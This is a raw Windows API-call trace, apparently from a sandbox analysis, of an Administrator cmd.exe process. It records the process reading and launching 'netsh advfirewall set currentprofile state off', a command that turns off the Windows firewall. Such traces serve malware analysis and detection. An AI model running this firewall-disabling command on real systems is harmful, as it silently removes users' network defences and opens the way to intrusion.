lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c78, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0157.397] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.397] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.397] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c7a, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0157.397] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.397] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.397] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c7c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0157.397] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.397] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.397] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c7e, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0157.397] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.397] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.398] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c80, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0157.398] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.398] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.398] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c82, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0157.398] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.398] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.398] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c84, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0157.398] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.398] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.398] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c86, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0157.398] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.398] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.398] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c88, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0157.398] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.398] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.398] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c8a, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0157.399] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.399] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.399] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.399] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c8c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0157.400] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.400] GetFileType (hFile=0x244) returned 0x3 [0157.400] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.400] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.400] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.400] GetFileType (hFile=0x254) returned 0x3 [0157.400] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48 [0157.400] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0xef9a0ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0xef9a0ffcd8*=0x2f, lpOverlapped=0x0) returned 1 [0157.400] GetProcessHeap () returned 0x262c1df0000 [0157.400] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0x4012) returned 0x262c1df8bb0 [0157.400] GetProcessHeap () returned 0x262c1df0000 [0157.400] RtlFreeHeap (HeapHandle=0x262c1df0000, Flags=0x0, BaseAddress=0x262c1df8bb0) returned 1 [0157.401] _wcsicmp (_String1="netsh", _String2=")") returned 69 [0157.401] _wcsicmp (_String1="FOR", _String2="netsh") returned -8 [0157.401] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8 [0157.402] _wcsicmp (_String1="IF", _String2="netsh") returned -5 [0157.402] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5 [0157.402] _wcsicmp (_String1="REM", _String2="netsh") returned 4 [0157.402] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4 [0157.402] GetProcessHeap () returned 0x262c1df0000 [0157.402] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0xb0) returned 0x262c1df6e30 [0157.402] GetProcessHeap () returned 0x262c1df0000 [0157.402] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0x1c) returned 0x262c1df6c60 [0157.403] GetProcessHeap () returned 0x262c1df0000 [0157.403] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0x64) returned 0x262c1df8bb0 [0157.403] GetConsoleOutputCP () returned 0x1b5 [0157.417] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e131fbb0 | out: lpCPInfo=0x7ff6e131fbb0) returned 1 [0157.417] SetThreadUILanguage (LangId=0x0) returned 0x409 [0157.417] GetConsoleTitleW (in: lpConsoleTitle=0xef9a0ffb20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0157.417] malloc (_Size=0xffce) returned 0x262c1f10840 [0157.418] ??_V@YAXPEAX@Z () returned 0x262c1f10840 [0157.418] malloc (_Size=0xffce) returned 0x262c1f20820 [0157.418] ??_V@YAXPEAX@Z () returned 0x262c1f20820 [0157.419] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0157.419] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0157.419] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0157.419] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0157.419] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0157.419] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0157.419] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0157.419] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0157.419] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0157.419] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0157.419] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0157.419] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0157.419] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0157.419] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0157.419] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0157.419] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0157.419] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0157.420] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0157.420] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0157.420] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0157.420] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0157.420] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0157.420] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0157.420] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0157.420] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0157.420] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0157.420] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0157.420] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0157.420] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0157.420] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0157.420] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0157.420] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0157.420] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0157.420] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0157.420] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0157.420] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0157.420] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0157.420] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0157.420] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0157.420] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0157.420] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0157.420] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0157.420] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0157.420] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0157.420] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0157.420] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0157.420] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0157.420] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0157.420] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0157.420] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0157.420] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0157.420] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0157.421] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0157.421] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0157.421] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0157.421] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0157.421] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0157.421] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0157.421] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0157.421] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0157.421] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0157.421] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0157.421] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0157.421] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0157.421] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0157.421] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0157.421] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0157.421] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0157.421] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0157.421] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0157.421] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0157.421] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0157.421] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0157.421] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0157.421] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0157.421] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0157.421] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0157.421] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0157.421] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0157.421] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0157.421] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0157.421] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0157.421] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0157.421] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0157.421] _wcsicmp (_String1="netsh", _String2="FOR") returned 8 [0157.422] _wcsicmp (_String1="netsh", _String2="IF") returned 5 [0157.422] _wcsicmp (_String1="netsh", _String2="REM") returned -4 [0157.422] ??_V@YAXPEAX@Z () returned 0x1 [0157.422] GetProcessHeap () returned 0x262c1df0000 [0157.422] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0xffde) returned 0x262c1df8c20 [0157.423] GetProcessHeap () returned 0x262c1df0000 [0157.423] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0x70) returned 0x262c1e08c10 [0157.423] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11 [0157.423] malloc (_Size=0xffce) returned 0x262c1f20820 [0157.423] ??_V@YAXPEAX@Z () returned 0x262c1f20820 [0157.423] GetProcessHeap () returned 0x262c1df0000 [0157.423] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0x1ffac) returned 0x262c1e08c90 [0157.425] SetErrorMode (uMode=0x0) returned 0x0 [0157.425] SetErrorMode (uMode=0x1) returned 0x0 [0157.425] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x262c1e08ca0, lpFilePart=0xef9a0ff3a0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xef9a0ff3a0*="system32") returned 0x13 [0157.425] SetErrorMode (uMode=0x0) returned 0x1 [0157.425] GetProcessHeap () returned 0x262c1df0000 [0157.425] RtlReAllocateHeap (Heap=0x262c1df0000, Flags=0x0, Ptr=0x262c1e08c90, Size=0x44) returned 0x262c1e08c90 [0157.425] GetProcessHeap () returned 0x262c1df0000 [0157.425] RtlSizeHeap (HeapHandle=0x262c1df0000, Flags=0x0, MemoryPointer=0x262c1e08c90) returned 0x44 [0157.425] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0157.425] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0157.425] GetProcessHeap () returned 0x262c1df0000 [0157.425] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0x1b4) returned 0x262c1e08cf0 [0157.425] GetProcessHeap () returned 0x262c1df0000 [0157.425] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0x358) returned 0x262c1e08eb0 [0157.437] GetProcessHeap () returned 0x262c1df0000 [0157.437] RtlReAllocateHeap (Heap=0x262c1df0000, Flags=0x0, Ptr=0x262c1e08eb0, Size=0x1b6) returned 0x262c1e08eb0 [0157.437] GetProcessHeap () returned 0x262c1df0000 [0157.437] RtlSizeHeap (HeapHandle=0x262c1df0000, Flags=0x0, MemoryPointer=0x262c1e08eb0) returned 0x1b6 [0157.438] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0157.438] GetProcessHeap () returned 0x262c1df0000 [0157.438] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0xe8) returned 0x262c1e09080 [0157.439] GetProcessHeap () returned 0x262c1df0000 [0157.439] RtlReAllocateHeap (Heap=0x262c1df0000, Flags=0x0, Ptr=0x262c1e09080, Size=0x7e) returned 0x262c1e09080 [0157.439] GetProcessHeap () returned 0x262c1df0000 [0157.439] RtlSizeHeap (HeapHandle=0x262c1df0000, Flags=0x0, MemoryPointer=0x262c1e09080) returned 0x7e [0157.441] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0157.441] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0xef9a0ff110, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xef9a0ff110) returned 0x262c1e09110 [0157.441] GetProcessHeap () returned 0x262c1df0000 [0157.441] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x0, Size=0x28) returned 0x262c1df6a70 [0157.441] FindClose (in: hFindFile=0x262c1e09110 | out: hFindFile=0x262c1e09110) returned 1 [0157.441] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0xef9a0ff110, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xef9a0ff110) returned 0xffffffffffffffff [0157.442] GetLastError () returned 0x2 [0157.442] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0xef9a0ff110, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xef9a0ff110) returned 0x262c1e09110 [0157.442] GetProcessHeap () returned 0x262c1df0000 [0157.442] RtlReAllocateHeap (Heap=0x262c1df0000, Flags=0x0, Ptr=0x262c1df6a70, Size=0x8) returned 0x262c1df6a70 [0157.442] FindClose (in: hFindFile=0x262c1e09110 | out: hFindFile=0x262c1e09110) returned 1 [0157.442] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0157.442] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0157.442] ??_V@YAXPEAX@Z () returned 0x1 [0157.442] GetConsoleTitleW (in: lpConsoleTitle=0xef9a0ff690, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0157.443] GetProcessHeap () returned 0x262c1df0000 [0157.443] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0x21c) returned 0x262c1e09110 [0157.443] GetConsoleTitleW (in: lpConsoleTitle=0x262c1e09120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0157.444] GetProcessHeap () returned 0x262c1df0000 [0157.444] RtlReAllocateHeap (Heap=0x262c1df0000, Flags=0x0, Ptr=0x262c1e09110, Size=0xd8) returned 0x262c1e09110 [0157.444] GetProcessHeap () returned 0x262c1df0000 [0157.444] RtlSizeHeap (HeapHandle=0x262c1df0000, Flags=0x0, MemoryPointer=0x262c1e09110) returned 0xd8 [0157.444] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - netsh advfirewall set currentprofile state off") returned 1 [0157.463] GetProcessHeap () returned 0x262c1df0000 [0157.463] RtlFreeHeap (HeapHandle=0x262c1df0000, Flags=0x0, BaseAddress=0x262c1e09110) returned 1 [0157.463] InitializeProcThreadAttributeList (in: lpAttributeList=0xef9a0ff5b0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xef9a0ff4a0 | out: lpAttributeList=0xef9a0ff5b0, lpSize=0xef9a0ff4a0) returned 1 [0157.463] UpdateProcThreadAttribute (in: lpAttributeList=0xef9a0ff5b0, dwFlags=0x0, Attribute=0x60001, lpValue=0xef9a0ff48c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xef9a0ff5b0, lpPreviousValue=0x0) returned 1 [0157.463] GetStartupInfoW (in: lpStartupInfo=0xef9a0ff540 | out: lpStartupInfo=0xef9a0ff540*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x244, hStdOutput=0x254, hStdError=0x254)) [0157.463] GetProcessHeap () returned 0x262c1df0000 [0157.463] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0x20) returned 0x262c1df6ef0 [0157.463] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0157.463] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0157.463] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0157.463] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0157.463] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0157.463] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0157.463] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned 